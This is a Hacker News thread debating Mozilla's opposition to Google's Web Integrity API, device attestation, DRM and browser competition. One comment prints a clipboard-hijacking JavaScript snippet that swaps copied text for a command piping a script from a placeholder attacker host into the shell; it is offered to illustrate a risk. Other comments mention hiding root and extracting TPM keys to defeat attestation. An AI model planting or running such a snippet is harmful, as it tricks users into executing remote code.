24 ms·

Mozilla Standards Positions Opposes Web Integrity API

885 points by danShumway 3y ago

eganist 3y ago
Expected, but meaningless if we can't drive people towards Firefox and away from Chromium products. That's something of a responsibility we all have, especially those of us invested in the safety and security (collectively, trust) of the web. I haven't seen anything yet on whether Brave will support it, though if I'm understanding correctly, they won't have a choice since they're using Chromium. Hopefully I'm misinformed.
- paulryanrogers 3y ago
  Judging by all the hate Mozilla gets around here, it would be nice to at least see some credit given where it is due. Ultimately I think we must permanently return to browser ballots back by the law, like the IE bundling fallout. Otherwise friction and incentives will continue to entrench one dominant player.
  - echelon 3y ago
    > Judging by all the hate Mozilla gets around here, it would be nice to at least see some credit given where it is due. Mozilla, the browser, is great. Mozilla efforts, such as Rust, have been historically great. Mozilla leadership is currently awful. They focus is on the wrong things - web VR and low-quality foundational AI models. Maybe because they think the web is at risk of disappearing outright. But the true enemy is Google, and they're currently its well-behaved prisoner. Mozilla can't bite the hand that feeds it, but someone needs to point the FTC, Congress, and the EU at Google. Everything they do, buy, and work on is to point an overwhelming majority of internet users at its ad products. Chrome, Search, Android, YouTube, Apple default search engine deal, etc. Google has become inescapable. And that's rather anti-competitive if you're trying to advertise your business or selling ad tech. Nevermind that the web commons and standards are constantly in Google's blast radius for funneling everyone into their gaping maw.
    - runiq 3y ago
      Ya. All I want is to throw moneydollars at the fucking browser, not at whatever feel-good initiative of the month the Mozilla Foundation is coming up with. I don't understand the problem.
    - insanitybit 3y ago
      I can't see how Mozilla could possibly right the ship with their current CEO. If they get rid of her maybe things could improve. Until then, I'd bet on Microsoft/Apple before I bet on Mozilla when it comes to protecting the web.
      - twelvechairs 3y ago
        What has the CEO done? Microsoft and Apple dont have a good history so assuming there is something big here?
        clipsy 3y ago
        [flagged]
        huggingmouth 3y ago
        She completely and utterly failed at her duties as the organization's leader. That over inflated compensation package that's seemingly inversely-correlated with firefox's userbase and the number of technical roles at Mozilla is most certainly not "earned". I'd personally call it embezzlement or misappropriation of funds, but that's just me.
        junofan 3y ago
        Haven’t heard about that, but even Safari is kicking their ass on desktop market share. I just visited the Firefox download page. It looks like shit. Something’s not going right over there.
        HideousKojima 3y ago
        Or it's that she's taking Mozilla down paths that lead to Chrome dominance in the future, while getting paid a hefty sum that would be better spent funding Firefox development.
  - jauntywundrkind 3y ago
    [flagged]
    - kmeisthax 3y ago
      The list you linked includes things like: web access for bluetooth, MIDI, and USB devices. These are very fringe use cases that quite frankly shouldn't be accessible from a random website. The rest of these sound like extra bits of fingerprintable entropy here and there. Like, in no way will a website knowing how much RAM I have will improve my experience, but it'll help add a few bits of data to my web advertising fingerprints. Magnetometers and battery status would absolutely be fingerprintable; individual device characteristics would be unavoidably measurable. The page you linked to actually lists all this out, and that should be enough to convince you that these standards shouldn't be implemented.
      - jauntywundrkind 3y ago
        [flagged]
  - yjftsjthsd-h 3y ago
    Mozilla gets hate because they say they're fighting for the user and then fail to live up to that standard. People expect Google to try and screw over users, so when it happens nobody is disappointed. I do agree that this results in oddly skewed reactions, but the emotional side makes sense.
    - zirak 3y ago
      How do we define "failure"? Let's say we can measure how much Mozilla fights for the user and put it on a scale: |--------------------| anti-user pro-user Where on the scale is "failure"? Let's say Mozilla is on the M, and Google is on the G: |----G-------M-------| anti-user pro-user Is Mozilla failing? The sentiment I seem to see is that anything short of perfect is failure.
      - hypertele-Xii 3y ago
        It's not about the absolute position on the scale, but the direction of change. Mozilla has been moving towards anti-user for years now.
        zirak 3y ago
        They went from A to B (exact magnitude of change is of course part of the criticism): |------------B---A---| anti-user pro-user Is Mozilla still, currently, a failure at their job? --- These kinds of discussions are frustrating to me since it feels like we've been dealt a very bad hand. But it's not just this hand, the dealer is firmly set on us only receiving bad hands in any game we play. Like in a card game, this is the only hand that we'll get. What other corporation do we have to push these kinds of values? What other avenue do we have? It's sad that we've come to this situation, but if the choice is the currently perceived-to-be-failing Mozilla and no Mozilla, I pick the failing Mozilla.
        account42 3y ago
        > What other corporation do we have to push these kinds of values? The thing is, Mozilla shouldn't even be a for-profit corporation in the first place.
  - benterix 3y ago
    > Judging by all the hate Mozilla gets around here, it would be nice to at least see some credit given where it is due. They get hate only for bad or useless things (like the famous "independent voices") but a lot of love for the actual work being done, especially Firefox Containers, enormous performance improvements etc. I'm using Firefox on a daily basis and just the Containers feature make it so much superior to Chrome.
- Gigachad 3y ago
  The end result is that DRM and banking sites will just tell you to use chrome to continue. And users will keep migrating to chrome until Mozilla is forced to implement it.
  - antod 3y ago
    I dunno about banking sites, currently they seem to be some of the worst out there in terms of caring about modern security techniques. eg SMS 2FA at best, terrible password handling etc. They don't move very fast at all. It feels weird that I'm now grateful for how crap they are.
    - jasonjayr 3y ago
      .... which is why if this web integrity thing gets out, you know the next move they make will be to embrace it.
    - Gigachad 3y ago
      Banking apps seem to be the main users of root detection on android. One prominent bank in Australia doesn’t have a web UI at all and only allows access via app. And I suspect it’s partially for security reasons. The average person is very likely to have malware on their computer, but not on their phone.
      - nfriedly 3y ago
        Funny story: I had to root my phone to get the Fidelity app to work. I installed lineageOS, which is passes the Google SafetyNet check out-of-the-box. So most things just work, including my local Credit Union's app. But lineageOS fails the CTS profile check on my phone. Fidelity checks this after you log in and shows a "For security reasons your account has been blocked..." message. So I had to root the phone to install a CTS profile fixer, and then more hacks to hide the fact it was rooted. After that Fidelity worked, but requested root permission every time I launched it until I figured out how to permanently disable that. Netflix was similar, but not quite as annoying.
      - 3y ago
- proxiful-wash 3y ago
  If the web integrity and standards depend on coherency and transparency your post does nothing but to miss inform those who know little about the subject.
- huggingmouth 3y ago
  As far as I know, disabling it in chromium can be as simple as commenting out the last line that returns the verdict. It'll need more work if you don't want to send data to random "trusted" parties, but brave is already doing that stuff anyway. I don't see why it would be that difficult. The issue here is with websites that want to mandate it.
  - o1y32 3y ago
    Just so you know, barely anyone in the real world uses Chromium, and compiling Chromium takes hours (I have done that many times). So that's not an argument. Also, if this is ever becomes a standard or a de-facto standard, it probably will be implemented as a proprietary feature, in the same way as Widevine or more closely SafetyNet -- if anyone can easily get around this, there is no point of doing it.
- userbinator 3y ago
  especially those of us invested in the safety and security (collectively, trust) of the web. Note that "safety and security" has become an abhorrent phrase among many of us because it evokes the "authoritarian dystopia" that Google et.al. are creating --- we're more concerned about freedom and interoperability.
  - eganist 3y ago
    What you're saying is all true, but speaking strictly, the security of the web as a whole is endangered if proposals give entities the tools they need to chip away at that freedom and interoperability bit by bit. That was the intention behind my choice of words — representing the whole web, not just components of it or companies operating on it.
- Railander 3y ago
  That will only happen when people can't do the things they normally could anymore on the browser. I was/am expecting it to happen with manifest v3, as I understood it it would break userscripts and make adblocking a pain, so far it hasn't happened so I still haven't bothered switching off Chrome. Assuming this gets implemented, users might start being unable to access certain websites or services because their identity is deemed "insufficient", which would move them to use a different browser that does not have this.
  - yomlica8 3y ago
    My understanding was that manifest v3 implementation was delayed so I'd be surprised if it broken anything yet. It looked to me like the standard blow back management move where they see opposite boiling up so they announce a "delay" and try to sneak it in later when the heat has died down.
- zarzavat 3y ago
  Brave can very easily disable this. They don’t use stock Chromium.
  - grishka 3y ago
    Vivaldi as well. Their stance on these kinds of user-hostile Google initiatives is pretty clear.
- sir_brickalot 3y ago
  One option is for sysadmins and IT shops serving SMBs to preinstall Firefox on workstations. That way users get used to the browser and might use it privately as well. Bonus: Preinstall uBlock Origin. Thats what we do, anyways.
rvz 3y ago
Which Mozilla knows that they cannot do anything to stop Google anyway. After all, Google is the one that pays their bills so either way Mozilla is beyond powerless.
- yoavm 3y ago
  Google doesn't pay Mozilla's bills as a donation, they pay for traffic because they make money from it. Why does this make Mozilla powerless? Was Google successful, for example, in making Firefox not support all the things is does that allow for better Ads blocking? https://github.com/gorhill/uBlock/wiki/uBlock-Origin-works-best-on-Firefox https://github.com/gorhill/uBlock/wiki/uBlock-Origin-works-b...
  - 3LazTjBv-f 3y ago
    At this point in time we can second guess the "they pay for traffic". AFAIK Firefox market share dropped significantly but Google payment stayed mostly the same. Maybe it is now more about not facing antitrust scrutiny, just like when Microsoft "invested" in Apple? And speaking of Microsoft - I am using Thunderbird 102.6.1, since any newer version doesn't work for me with Outlook365 - MS OAuth implementation requires user agent to be accepted by some "administrator". Looks like great example of what we can expect from Google, even if that Web Integrity get delayed for few years. Mozilla really is powerless - either they cave in, like with video DRM - or their browser won't be useful as daily driver
    - yoavm 3y ago
      > Maybe it is now more about not facing antitrust scrutiny, just like when Microsoft "invested" in Apple? Maybe, but what does that change? It might even be a stronger lever to pull than "we will stop sending you traffic". My point is that Google isn't donating money to Mozilla because it's nice, it pays for something (traffic / legal protection / whatever). I just don't see how the parent idea that Mozilla most comply with Google because Google "pays their bills" holds.
  - Ygg2 3y ago
kazinator 3y ago
"Vendor neutral" sometimes means that vendors have equal opportunity to screw the user. {Platform-vendor/developer/end-user}-neutral is more like it.
doesnt_know 3y ago
They might appose it, but if it ships in Chrome and starts being actively used they will also implement it, just like CDM. At the end of the day, users will just see that a website works in Chrome and not in Firefox. Firefox will decide that there is no point in apposing it if there is a real cost in potential market-share.
- account42 3y ago
  > At the end of the day, users will just see that a website works in Chrome and not in Firefox. Firefox will decide that there is no point in apposing it if there is a real cost in potential market-share. Remind me, how has that strategy worked out for their market share? Perhaps the market for I-Can't-Believe-It's-Not-Chrome isn't actually that big since those users don't have a problem with just using Chrome.
1vuio0pswjnm7 3y ago
Browser detection. "Environment" detection. How to design a website that is not accesible with Chrome. As a means of protest by certain website operators. Would be fun to watch Google circumvent that. Especially if it was only popular amongst small, noncommercial websites.
- huggingmouth 3y ago
  I like this idea. Help users by training them to use multiple browsers regularly. My kids already use multiple browsers (e.g. to block youtube ads on their android devices). People will happily use other browsers if they have a good reason to. But rather than block them outright, I would disable all but the necessarily features snd keep reminding those users to either switch to another browser or to use something like tampermonkey (with clear instructions in what it needs to do). What would be a good way to detect support for this stuff? The js api?
- userbinator 3y ago
  This might be inspirational: https://news.ycombinator.com/item?id=25240299 https://news.ycombinator.com/item?id=25240299
- egberts1 3y ago
  For a long 6 years, Chrome could not access my website (but all other web browsers can) because it was unable to respect server-side mandatory negotiation of non-HTTP/3 along with only ChaCha/Poly (no AES/RSA). Microsoft Edge fixed theirs shortly afterward. Happy to say, Google just fixed it (about 4 months ago). Many free cross-browser testing tools still can demonstrate the breakage (via version testing).
hardcopy 3y ago
Stop using Chrome.
RcouF1uZ4gsC 3y ago
Ironically, the biggest potential impediment to this is Apple. It is the fact that iOS is a walled garden where the website owner can’t just say “Install Chrome and come back” unless they want to lose a lot of potential users.
- omnimus 3y ago
  What is even more ironic is that wall shouldnt be there and probably wont be because of EU. Imagine we fully loose the web because iOS opens up.
  - strbean 3y ago
    Hopefully the EU will also put a stop to this bullshit as well. We may all end up stuck using a German VPN so we can still use ad blockers.
- realharo 3y ago
  Reddit does this with "install our app" on its mobile website.
  - bacchusracine 3y ago
    >Reddit does this with "install our app" on its mobile website. Who? Oh you mean digg v3? Who's digg? Exactly....
- JeremyNT 3y ago
  Of course, on that platform they can just say "install our app and come back" for the same basic effect.
freediver 3y ago
Worth also noting is WebKit's standards positions at https://webkit.org/standards-positions/ https://webkit.org/standards-positions/ (this one has not landed yet, likely to be opposed as well)
- jer0me 3y ago
  https://github.com/WebKit/standards-positions/issues/234 https://github.com/WebKit/standards-positions/issues/234
charcircuit 3y ago
>Additionally, the use cases listed depend on the ability to “detect non-human traffic” which as described would likely obstruct many existing uses of the Web such as assistive technologies, automatic testing, and archiving & search engine spiders. Assistive technologies will still work as the browsers implement platform's assistive APIs. Automatic testing will still work because a developer isn't going to add restrictions to their own tests from their site. Unless they are testing if a captcha gets shown from an unsafe environment. Archives, search engines, and spiders should already be respecting robots.txt. Site owners can already block those things if they don't want their site crawled. >This means that no single party decides which form-factors, devices, operating systems, and browsers may access the Web. The proposal allows anyone to become an attestor. There would not be a single attestor who you would have to prove your trustworthiness to.
- kmeisthax 3y ago
  >There would not be a single attestor who you would have to prove your trustworthiness to. Either this protocol is useless for its intended purpose, or banks will only accept a small handful of attestors that promise not to sign for environments where the owner has control. Being able to create a new attestor means nothing because attestation is not valuable without pre-established trust. The fraud prevention use case requires that the browser matches what Google or Mozilla shipped, not what I choose to actually run. From 10,000 feet in the sky, there's zero difference between, say, someone who installed modified software on their phone to protect their privacy and someone who was tricked into installing malware[0]. Banks don't care about your freedom, they care about making your fraud someone else's fault. Some of the use cases explicitly call for locking the owner out of their device too. Anticheat in games is treated as at least beneficial to honest users, but it can still be user hostile[1]. Click fraud detection shouldn't even be something that a USER agent cares about - and it's not like Google cares about that anyway[2]. Practically speaking the only Linux distros that will get an attestor that anyone will actually care about will be Chrome OS and Play-certified Android. At best, Google agrees to attest for Chrome and Firefox on non-Chrome-OS Linux and it winds up being like EME did. At worst everyone has to buy a Windows license just to use most websites anymore. >Assistive technologies will still work as the browsers implement platform's assistive APIs. At least until someone says "we need to keep content from being data mined for AI training[3]" and AI scrapers find out how to automate those APIs. The underlying power dynamic of attestation means that websites can just demand attestors ban screen readers, in the same way that ebook DRM already does. [0] Casual reminder that Louis Rossman was harassed by the GrapheneOS developer for agreeing with someone that the developer asserted had harassed them. He uninstalled GrapheneOS specifically to avoid being pwned by its developer. [1] Let me remind you of the insane cat-and-mouse game where cheaters went into the kernel, so now anticheat is in the kernel, and now cheaters find vulns in the anticheat to hide their cheats in, which now malware can use as well. [2] https://www.theregister.com/2023/06/29/google_trueview_skepticism/ https://www.theregister.com/2023/06/29/google_trueview_skept... [3] Reddit
michaelmrose 3y ago
So imagine you have a separate slot in your desktop/laptop occupied by a secondary single board computer of sufficient power to run your banks website or other secure operations. Since you are going to use it to git push to import repos or move money you give two shits if it has much in the way of customization. You hit a physical button and an internal kvm switches usb input and displayport out between primary and secondary machine. There is no shared clipboard or way for data to be intentionally be shared between machines and nothing to distinguish this setup from any other "secure" setup to disallow its use. It ticks the correct boxes to meet the described intent of the feature and unlike a secure environment one is obliged to use for everything would actually be more secure as you have no good reason to install a bunch of software or browse random websites on the slower secure environment.
- throw_a_grenade 3y ago
  You can try QubesOS, which does exactly this using virtual machines. Clipboard is not shared by default, you need to move the contents of the clipboard using yet another keystroke pair (so it's 4-salutes scheme: Ctrl-C, Ctrl-Shift-C, Ctrl-Shift-V, Ctrl-V to actually copy something between machines). App's windows are delineated with coloured borders which cannot be overridden from inside the VM. There are major usability problems, mostly related to graphics (the protocol that forwards the windows is purposefully dumb and doesn't support 3D acceleration at all), but for things like browsing bank apps or even watching youtube it's enough.
  - jeroenhd 3y ago
    > the protocol that forwards the windows is purposefully dumb and doesn't support 3D acceleration at all This is a major reason I haven't tried QubesOS yet. Thanks to Nvidia I've seen what happens when you run a desktop with a browser without hardware acceleration and it sucks. CPU cores get pegged with basic scrolling or video playback and power consumption is simply unreasonable. Perhaps if I were a human rights activist or a journalist I would use it, but I'm not.
- jeroenhd 3y ago
  You can also just use a Windows VM and forward the already-working TPM to it. With tools like Cassowary you can use Windows browsers through an app-only RDP connection, integrating the VM seamlessly. Hardware acceleration will be a bit more difficult, but for things like encoding or decoding video you can already forward virtual GPUs on most platforms if you get the configuration right. I don't think you'll need to buy an SBC for this. A weekend of messing with virtual machines will be enough.
thunderbong 3y ago
IMHO, Apple has a very good opportunity to open-source Safari. If Safari were to become cross platform, out would surely help in fighting Google Chrome's dominance. Although I do agree that means there's less competition in the browser engine world.
- yjftsjthsd-h 3y ago
  Safari uses webkit as the engine, which is FOSS. I mean, yes, I'd also like them to open source the whole thing and make it portable, but the engine is the hard part.
  - paulddraper 3y ago
    Look at the success of Chromium, Brave, etc.
    - tgv 3y ago
      Safari doesn't have a Windows or Android port.
      - o1y32 3y ago
        Safari used to be actively developed and shipped on Windows before 2010.
        jwells89 3y ago
        It relied on large portions of AppKit/Cocoa ported to Windows though, and I don’t think Apple would be too keen to open source that too. For it to make sense to open source Safari for Windows, they’d first have to pull out the AppKit bits and replace them with something else.
  - PlutoIsAPlanet 3y ago
    You should be able to compile the GTK front end of WebKit nearly everywhere. The Mac front end uses macOS APIs and Apply is super selective which ones they port to Windows and WebKit would force them to open source this.
realusername 3y ago
The mobile equivalent, the play integrity API should be illegal and fought in court. I'm also pretty sure it goes against the right to repair and e-waste laws in the EU since it's whole idea is to remove third party roms. We should start to orient the debate instead on the security issues created by Google and their ads.
- zb3 3y ago
  Google is abusing trusted computing. While I can understand that some banks prefer the payment processing code to be run on devices which are locked down, currently such Android devices contain Google adware and spyware, which is definitelly not necessary for a trusted device to be used for payments. Google should be split so that the interests of Google'd not taint Android and Chrome.
  - realusername 3y ago
    > currently such Android devices contain Google adware and spyware, which is definitelly not necessary for a trusted device to be used for payments. That's exactly the thing, this integrity api only means the deviced is controlled, not secure, that's two very different things. You can have a phone riddled with pre-installed malware passing the safety net and you can have EOS, the cleanest rom that I know about which can fail it.
  - account42 3y ago
    Abusing trusted computing? The whole concept is about NOT trusting the user and giving control to third parties instead.
    - zb3 3y ago
      Yeah, but while you could think of trusted computing like "the author of the code has control" - and I'd not see a big issue with payment apps being tamper-resistant, I do see a GIANT issue with Google instering their bloatware in the middle..
dhx 3y ago
Can Mozilla also respond with their position on their own IPA proposal[1] for tracking users across the Internet? If you are shown a product ad whilst browsing searchengine.example and then later look up the product at reviews.example, then end up making a purchase at shop.example, your Mozilla browser will send all of these events to one or more aggregation services that allows shop.example to understand (at least in aggregate, assuming you trust the cartels running the aggregation services) that you were exposed to their product at searchengine.example and further exposed to their product at reviews.example. Where previously an ad tech company was ultimately able to track users based on source IP address (even if cookies had been disabled by a user), IPA now allows these companies to track users across multiple IP addresses, and regardless of the user's cookie settings, via a unique tracking identifier. It is also proposed that the operating system provides the unique tracking identifier which can then be used by all applications or browsers on a device, allowing different devices behind a single IP address to be distinguished. [1] https://github.com/patcg-individual-drafts/ipa/ https://github.com/patcg-individual-drafts/ipa/
- CaliforniaKarl 3y ago
  Given TFA, it looks like you can ask Mozilla for a position by opening a GitHub issue at https://github.com/mozilla/standards-positions https://github.com/mozilla/standards-positions
  - dhx 3y ago
    A position request was raised in February for both Mozilla[1] and WebKit[2] and neither have been responded to. [1] https://github.com/mozilla/standards-positions/issues/753 https://github.com/mozilla/standards-positions/issues/753 [2] https://github.com/WebKit/standards-positions/issues/142 https://github.com/WebKit/standards-positions/issues/142
- kmeisthax 3y ago
  Attribution is necessary for advertising to work at all. If you don't have attribution that is independent of the ad platform you bought ads from, then the ad platform will defraud you[0]. This is separate from ad tracking where you build up interest profiles on users, or ad remarketing where sites can buy ads from people who have visited them in the past[1]. Most of these private attribution systems are specifically designed so that the people running the ad can count how many people clicked their ads, but not who clicked them or what other things they did. Safari had a proposal in which you could only have a certain number of campaigns running per domain, so you couldn't set up a separate """campaign""" for each user and fingerprint them all at once. I don't know how the Mozilla proposal differs. Whether or not user-agents should care about this sort of thing is an orthogonal question. [0] https://www.theregister.com/2023/06/29/google_trueview_skepticism/ https://www.theregister.com/2023/06/29/google_trueview_skept... [1] Remarketing in particular is responsible for the "feeling of being seen" from modern ads where you search for one thing and get 10,000 ads for the thing for the next week
howinteresting 3y ago
There is a long history of hackers—in the classic sense—using computers to do things other people don't want them to do, and those other people unable to do anything about it (or, at best, engaging in an arms race with the hackers). This has been bad for those other people but overall very good for society. It is what birthed GNU, "IBM Compatible", ad blockers, Firefox, BitTorrent, YouTube ReVanced/youtube-dl, and so much more. The goal of device attestation for consumer software is to put an end to that. Originally pioneered by Apple on iOS, now making its way to all of computing thanks to the forces of capitalism, device attestation means that the hackers lose. It is the bad ending. The other twin threat, and I hate to say it, is the software industry sorting its security story out. In the past iOS jailbreaks used to be common, but there hasn't been an iOS jailbreak in a year. Rust isn't helping. We are hurtling towards a world where producers and IP holders have complete control over the content they produce, and use leading-edge cryptography and ultra-secure consumer-hostile software to keep it that way. This is one of the most dangerous developments to ever happen in all of history, and once it's real there's no going back. Stallman was right.
- klabb3 3y ago
  Well put. In practice, all this attestation crap is just DRM, as far as I can tell. It’s of course being marketed as an opt-in thing which can “improve your experience”. Similar to how giving your wallet away at gunpoint can improve your happiness.
  - pydry 3y ago
    Functionally it's a protection racket. In exchange for protecting your devices from small, low frequency risks like evil maid attacks or whatever, you are uniquely identified for the purposes of DRM and advertising. It's not really optional. At least, not unless you consider online banking to be optional.
    - Avamander 3y ago
      You personally get protected from low frequency massive impact risks. Website owners get protected from an ever increasing amount of malicious content. Now nearly impossible to detect thanks to LLMs. In theory you should be able to see the appeal that has.
devit 3y ago
In case it's not obvious, here is how the attack works: 1. The attacker manufactures a device, such as a smartphone, generates a keypair for it, stores it on an HSM on the device (generally called a "trusted enclave"), and signs the public key of the keypair with a master key 2. The device runs the attacker's software and is designed so that whenever non-attacker software is run with elevated privileges, the HSM is informed of that fact in a way that can't be reset without rebooting (and starting again with the attacker's software). For instance, the device might use a verified boot scheme, send the key the OS is signed with to the HSM in a way that is unchangeable until reboot, and it might employ hardening like having the CPU encrypt RAM or apply an HMAC to RAM 3. The HSM produces signatures of messages that contain statements that the device is running the attacker's software, plus whatever the attacker's software wants to communicate and it won't produce them if it's running software of the user's choice as opposed to the attacker's software as established above. It also includes the signature of its public key with the master keypair, allowing accomplices to check that the device is indeed not under the user's control, but rather under the control of someone they trust to effectively limit the user's freedom 4. Optionally, that attestation is passed through the attacker's servers, which check it and return another attestation signed by themselves, allowing to anonymize the device and apply arbitrary other criteria 5. Conniving third parties can thus use this scheme to ensure that they are interacting with a device running the attacker's software, and thus that the device is restricting the user behavior as the attacker specifies. For instance, it can ensure that the device is running the accomplice's code unmodified, preventing the user from being able to run software of their choice, and it can ensure that the user is using device as desired by the attacker and their accomplices. This attack is already running against Android smartphone users (orchestrated by Google, in the form of SafetyNet and the Play Integrity API) and iOS smartphone users (orchestrated by Apple) and this extends the attack to the web.
- Doxin 3y ago
  Can I just say I appreciate the framing of this as an attack? Somehow I hadn't yet mentally filed Google and friends under "Man in the middle" but that's pretty much exactly what's going on. This Web Integrity API is just a means to cement themselves as obligatory man in the middle, as opposed to an optional one.
notpushkin 3y ago
Tangential: I'd love to donate to Mozilla, but I'm concerned my money could just end up in some C-suite pockets if I do. Is there a way to donate specifically to Firefox core(-ish) team, and maybe also MDN?
- sofixa 3y ago
  That wouldn't make any sense from them. What good would donations for Firefox be if they can't pay the cleaning staff of their office or it's rent or the HR and accounting and legal people that keep the "Firefox core-ish team, and maybe also MDN" employed and running? Even the CEO, even if ridiculously overpaid (one can make an argument that to get a quality CEO in the US you need to pay them a lot, which I don't buy, surely there are people capable of being CEOs out there that aren't greedy as fuck and would be willing to accept a low salary of a 1-2 million $ per year) is necessary for the company, and a bad CEO can ruin them (see: GE, Enron, Boeing, Twitter, etc.). For a "fun" example of how strict budget destination restrictions fail, take a look at Atlanta's MARTA, that used to have a fixed 50/50 budget split between OPEX and CAPEX by it's funding law, and therefore had brand new trains but everything else falling apart.
  - notpushkin 3y ago
    That totally makes sense, yeah! But giving donors just a bit more control would still be nice IMO.
    - cptskippy 3y ago
      A lot of charities allow restrictions for donations but often those aren't transparent to the donor.
- Havoc 3y ago
  Company finance income streams are rarely ringfenced like that.
- coldpie 3y ago
  Do you do this same analysis for every purchase you make? Maybe the sandwich shop you bought lunch at used your money to buy a pizza for the owner & her wife, neither of whom worked at the store that day and made your lunch. Does that upset you? It's a business. Money comes in, money goes out, product gets made. Either pay them for the product you like, or don't. It's up to them how they use the money they get.
egberts1 3y ago
Number one reason why I do not turn JavaScript on, and I will definitely block WebInegrityAPI indefinitely. Basic malware JavaScript snippet: <script> document.getElementById('copy').addEventListener('copy', function(e) { e.clipboardData.setData('text/plain', 'curl http://attacker-domain:8000/shell.sh | sh\n'); e.preventDefault(); }); </script>
- westernpopular 3y ago
  This particular attack is actually not a concern if you're using fish (or zsh for that matter I think), as it will not execute pasted content without an additional pressing of the enter key.
  - account42 3y ago
    It's still a concern because there will be users reflexively pressing enter without checking what they pasted if it's the expected value most of the time. Meanwhile there is zero benefit for letting websites manipulate the clipboard or intercept basic browser interactions. This might make sense for applications but that's just another argument why those shouldn't be forced into the same browser as websites.
    - fruitreunion1 3y ago
      Yeah, I'm disappointed there's no permission toggle so that I could have javascript-based clipboard setting behind a prompt on most websites and have exceptions for others.
      - egberts1 3y ago
        Sound like an enhancement feature request for NoScript or UBlock Origin, no?
  - fruitreunion1 3y ago
    Bash also buffers pasted content.
deleted 3y ago
[deleted]
masukomi 3y ago
I've said it elsewhere but folks need to use Firefox, because if everyone stops there'll be no-one with a voice to stand up to Google's BS because they OWN chrome and can do whatever they want with it. Not saying it's perfect or better, just that we need it. we need a competing browser with a rendering engine that google doesn't ultimately control that has a non-trivial market share. Otherwise we may as well just stop complaining and let google do what it wants because we'll have no power to stop them anyway.
- cj 3y ago
  Isn't the majority of Mozilla's revenue from Google's paid placement as the default search engine? Or has this changed in recent years? Quick googling confirms 50%+ of revenue came from Google 5-10 years ago, but couldn't find more recent data. If Google is Mozilla's primary revenue source (especially if it's the majority), then Google effectively controls Mozilla via the leverage it has to pull Mozilla's largest revenue source. Edit: Also raises the question, what company or organization should be developing browsers? A browser is something everyone expects to be free, but a browser is by no means free to develop, operate and maintain. For-profit browser companies (like Brave) would be forced to monetize the browser (like Brave tried to do with BAT crypto tokens, ads on the new tab page, etc)
  - Shawnj2 3y ago
    Yes but no. If google wanted to force Mozilla to do anything they could switch default search providers with someone else who will pay them about the same relatively easily.
  - everforward 3y ago
    > If Google is Mozilla's primary revenue source (especially if it's the majority), then Google effectively controls Mozilla via the leverage it has to pull Mozilla's largest revenue source. There's been speculation for a long time that the real reason Google pays for that is to keep Mozilla afloat and stave off antitrust investigations related to Chrome. That may have changed with other browsers coming out, although almost all of them are based on Chromium. Ianal, have no idea whether or not someone can be a "competitor" if they're using largely the same source. If it's true that Google is mostly paying for antitrust avoidance and that something like Edge isn't a "competitor", Mozilla has substantial leverage. Mozilla just needs to be cheaper than an antitrust investigation and potential loss of that case. I would imagine that's not hard to do, that sounds expensive.
stainablesteel 3y ago
i have a question, and i understand perfectly well this is a horrible idea but, is there an actual need to change how internet traffic operates? is there something currently broken?
- alex7734 3y ago
  Right now you can change how websites are displayed on your device, block ads, automate internet browsing and download content to keep it without the consent of the website which Google doesn't like. With enough websites using this API to block "untrusted" devices, since Google is the one that decides who is "trusted" that gives them an iron grip on what you can use to browse the web. If they decide to not grant your competing project "trusted" status, you now cannot build a competing device, OS, or browser. And since Google owns the most popular browser and one of the most popular OS that gives them little incentive to allow competition. Without a "trusted" browser that can scrape the web you are also effectively blocked from building a competing search engine. Basically this API serves to cement Google into a position of power.
  - stainablesteel 3y ago
    right, i get that, but i was asking if there's something inherently wrong with the current setup, my assumption is no
alex7734 3y ago
How expensive would it be to rip the signing keys off the TPM? People used to do it to get free satellite TV but I imagine it's way more expensive now with the smaller transistor sizes
- grishka 3y ago
  Doesn't every TPM use a unique key to prevent this exact thing happening? If you do rip the key off of it and publish it, they'd just blacklist that particular key as "compromised".
  - alex7734 3y ago
    I guess. But if the key stays private it could power a scraper or a proxy. Just wondering just how expensive it really is to rip the key out (or to have access to the tools to do it)
  - strbean 3y ago
    Rip the key off the cheapest android phone you can buy, or an old one after you've upgraded. Don't publish it - pass it to your rooted phone which can now use an emulated TPM.
dahwolf 3y ago
To the people saying "stop using Chrome", I don't think you understand the situation. Using a non-Chrome browser does not protect you from this proposal. If anything, worst case it will force you to use Chrome for specific websites, say a bank. So unless 3 billion people switch browsers overnight, avoiding Chrome does not make this go away.
- cptskippy 3y ago
  You gotta start somewhere. Throwing up your hands and saying you're not switching because no one else will isn't great. I've used Firefox as my primary browser since it was Phoenix. Before that I used Netscape Communicator. It's not hard and I'm not missing out on anything.
  - dahwolf 3y ago
    You're not wrong, and I'm a Firefox user as well. But as it comes to the urgent matter of stopping this proposal in its tracks, switching browsers won't do it. It requires other methods of immediate protest.
whywhywhywhy 3y ago
If they wanted to oppose it they should have concentrated on being actual competition with marketshare, not checks notes selling VPN subscriptions and a bookmarking service.
mgraczyk 3y ago
Viewing the web as a platform for delivering applications, Web Integrity is an obviously good thing that I personally would use as a developer who makes software people pay for. The opposition listed here is mostly misguided. For example, there is ~0% chance Google breaks "screen readers" or "assistive technologies" with Web Integrity. Saying that they would break seems like a bad faith argument to me. Fundamentally this is about DRM and whether or not you think it should be allowed. I believe optional DRM for web applications would be good for developers and users of the apps. It would be bad for most other entities (crawlers, scrapers, criminals, etc). So I am in favor of it.
- lozenge 3y ago
  Accessibility isn't just about screen readers. I use extensions to alter page CSS to fix text sizes, contrast, fix Reader Mode, etc. With the Integrity API these could be blocked by the website.
- insanitybit 3y ago
  Yeah, the benefits here are pretty cool to think about. The ability to say "you can't access this sensitive web resource until you attest that your system is up to date and an antivirus has run in the last week" is huge. The problem is that sites could also say "and you don't have an adblocker installed". One option would potentially be to only allow positive assertions - ie: "You are up to date" not "you are not running this". TBH I think that would address a major concern for me.
- potamic 3y ago
  If people are paying for the software, then they should be able to use the software as they wish. If you were selling a towel, you wouldn't put restrictions on someone wetting it and using it for hand to hand combat, would you?
  - mgraczyk 3y ago
    If it were possible to manufacture towels that couldn't easily be stolen from hotels, then yes I would want that to be allowed. Hotels would like it, and guests who do not steal would benefit from lower prices. And more directly yes I would want exactly what you're describing to be possible. We do this with alcohol so that rubbing alcohol can be sold at a reasonable price.
4oo4 3y ago
